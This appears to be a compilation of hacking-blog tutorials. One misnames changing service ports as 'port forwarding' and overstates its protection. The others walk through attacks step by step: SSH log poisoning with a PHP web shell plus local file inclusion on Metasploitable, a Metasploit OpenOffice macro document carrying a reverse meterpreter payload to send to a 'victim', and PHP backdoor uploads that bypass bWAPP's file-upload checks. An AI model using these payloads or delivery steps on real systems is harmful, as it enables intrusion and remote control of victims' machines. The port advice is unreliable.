How to Secure Your Port using Port Forwarding

In this article I am going to perform how to use port forwarding in a system which is a process that redirects a communication request from a specific port to another port or host. It is basically allows an outside computer to connect to a computer in a private local area network. Some commonly done port forwarding includes forwarding port 22 for SSH access, forwarding port 80 for web servers and port 21 for FTP. The major advantage is that it provides security to your private network and secure communication

Let’s start !!!!

 HTTP and HTTPS forwarding

Open ports.conf file from inside /etc/apache2 and type following command to read the configuration.

Cat ports.conf

 From screenshot you can view the present listening port 80 and 443 for web server.

If an attacker wants to send malicious file through web server he will try to connect with target using port 80 send the phishing page to the target.

In order to protect you from being targeted through phishing page change the port number from 80 and 443 into other number. 

If you notice the following screenshot here you will that I have modified port 80 into 8088 and port 443 into 44343.

FTP port forwarding

Now open the vsftpd.conf file from inside /etc.

From screenshot you can view listen port is 21 by default, to protect yourself from FTP attacks shift the FTP service on other port.

From given below screenshot you will find that I have change port21 into 2121

SSH port forwarding

 Open file sshd_config from / etc/ssh/ssd_config

From screenshot you will find that by default port 22 is use as listen port which is badly affected by DDOS attack. Here to protect yourself apply port forwarding techniques on port 22.

From below image, again you will notice that I have change port 22 into port 2222.

Now if you will scan your network with help of NMAP you will find that the services FTP, HTTP and SSH is successfully running on the modified ports.

Nmap –p- -sV 192.168.1.24

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Web Server Exploitation with SSH Log Poisoning through LFI

In this article you will learn how make unauthorized access in a web server if it is suffering from local file inclusion vulnerability with help of auth log file. To perform this attack first you need to read my previous article which will help you to create local file inclusion vulnerability manually.

Attacker: Kali Linux

Target: Metasploitable 2

Open terminal in your kali Linux and connect the target using SSH service

ssh msfadmin@192.168.1.105

 From screenshot you can see I am connected with target PC, now type following command to check the permission for auth.log file

Ls –l /var/log/auth.log

Now if you notice the given screenshot again you will find that the highlighted text is showing read write permission had been given to auth.log file.

Since we know that the auth.log file has read permission therefore type following command to view its logs.

Tail –f /var/log/auth.log

 The highlighted text is showing the log for the valid user msfadmin.

Now open another terminal in kali where I will try to connect with web server using fake user name and then confirm whether any log is generated inside auth.log file for invalid user or not.

ssh hacker@192.168.1.105

When you move back to your previous terminal you find it has created a log for invalid user hacker which you can also check in the given screenshot.

Hence it is confirm that auth.log file generates log for every failed and pass login when we try to connect with web server. Taking advantage of this feature now I will send PHP code as fake user and it will get added automatically in auth.log file as new log.

Ssh <?php system($_GET[‘c’]); ?>’@192.168.1.105

Again when you check its log, you will find the PHP code has been added as new log.

Since I have already created LFI vulnerability manually inside the web server, so if you want to create LFI vulnerability view above link of previous article.

In given screenshot you can see when I have browse lfi.php file; it has shown some error which looks like local file inclusion vulnerability.

 

 

Now include the auth.log file as file parameter and give following URL inside browser.

192.168.1.105/lfi/lfi.php?file=/var/log/auth.log

From screenshot you can read the warning cannot execute blank command, it means our PHP code which was containing CMD comment is successfully injected now only we need to send any command as parameter

Here it will dump the data of auth log as well as execute comment given through cmd. From screenshot you can view both log as well as process state.

In same way execute pwd through cmd and view the result from inside the given screenshot.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Hack Remote PC with Apache OpenOffice Text Document Malicious Macro Execution

This module generates an Apache OpenOffice Text Document with a malicious macro in it. To exploit successfully, the targeted user must adjust the security level in Macro Security to either Medium or Low. If set to Medium, a prompt is presented to the user to enable or disable the macro. If set to Low, the macro can automatically run without any warning. The module also works against LibreOffice.

Exploit Targets

Apach Open Office on Windows

Requirement

Attacker: kali Linux

Victim PC: Windows 10

Open the terminal in kali Linux and type msfconsole to load metasploit framework.

Now type use exploit/multi/misc/openoffice_document_macro

msf exploit (openoffice_document_macro)>set payload windows/meterpreter/reverse_tcp

msf exploit (openoffice_document_macro)>set lhost 192.168.0.104 (IP of Local Host)

msf exploit (openoffice_document_macro)>set srvhost 192.168.0.104

msf exploit (openoffice_document_macro)>set lport 4444

msf exploit (openoffice_document_macro)>exploit

 From the screenshot you can see the highlighted text is showing the path of malicious odt file.

The malicious odt File had been generated successfully which is stored on your local computer inside following path:

/root/.msf4/local/msf.odt

Now send your msf.odt files to victim, as soon as he download and open it, you can access meterpreter shell on victim computer.

File Upload Exploitation in bWAPP (Bypass All Security)

In this article you will learn how to bypass all three security level of unrestricted file upload inside the bWAPP and if you want to know more about the various kind of file uploading vulnerability read previous article that may help you to understand this article more clearly.

LOW SECURITY

Open the target IP in browser: 192.168.0.106/bWAPP/login.php. Enter user and password as bee and bug respectively.

Set security level low, from list box chooses your bug select Unrestricted File Upload now and click on hack.

Create PHP backdoor using msfvenom and start multi handler in the background; now from screenshot you can see I have browse meter.php for uploading as an image inside the web server.

When the image gets successfully uploaded on the web server it will send the link of directory where image is saved to view the uploaded image. Since we haven’t upload any real image therefore we will try to execute our PHP backdoor by making click on the link “here”.

When victim click the above link “here” we will get victim’s reverse connection through meterpreter session inside the metasploit framework.

From screenshot you can see metasploit session 1 is opened.

MEDIUM SECURITY

As the level of security is change so here we cannot able to perform same procedure as above. Although here you just need to change only the extension of your PHP backdoor to bypass medium security. If you notice the image given below here you will find that I have browse meter.php3 for uploading.

Now repeat the same step run multi handler at background and make click on the given link “here” to receive metrpreter session.

GREAT!!! From screenshot you can see metasploit session 2 is opened.

HIGH SECURITY

Now we have enter into high security where above two file uploading attack will get failed so here again you need to make some small changes  into the extension of PHP backdoor file for uploading it in the web server.

From screenshot you can read the file name high.php.png which I have browse for uploading.

Here our file is successfully uploaded now make right click on the link “here” to copy link location and keep multi handler running at the background.

To bypass high security of file uploading in bWAPP we need to switch the bug as well as security level.

Set security level low and choose the bug remote & local file Inclusion then click on hack.

Here the requested web page which suffering from RFI & LFI Vulnerability gets open. Where you will find a comment to select a language from the given drop down list, and when you click on go button the selected language file get included in URL.

Since I have uploaded the PHP backdoor shell in high security but execute that backdoor through low security with help of LFI vulnerability. Now just manipulate the following URL as shown in screenshot.

http://192.168.0.106/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.0.106/bWAPP/rlfi.php?language=images/high.php.png

When above URL is executed in the browser you will get victim’s reverse connection inside metasploit.

Congrats!!! From screenshot you can see metasploit session 3 is opened.

Hence we have bypassed all three security level inside bWAPP

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Related Posts Plugin for WordPress, Blogger...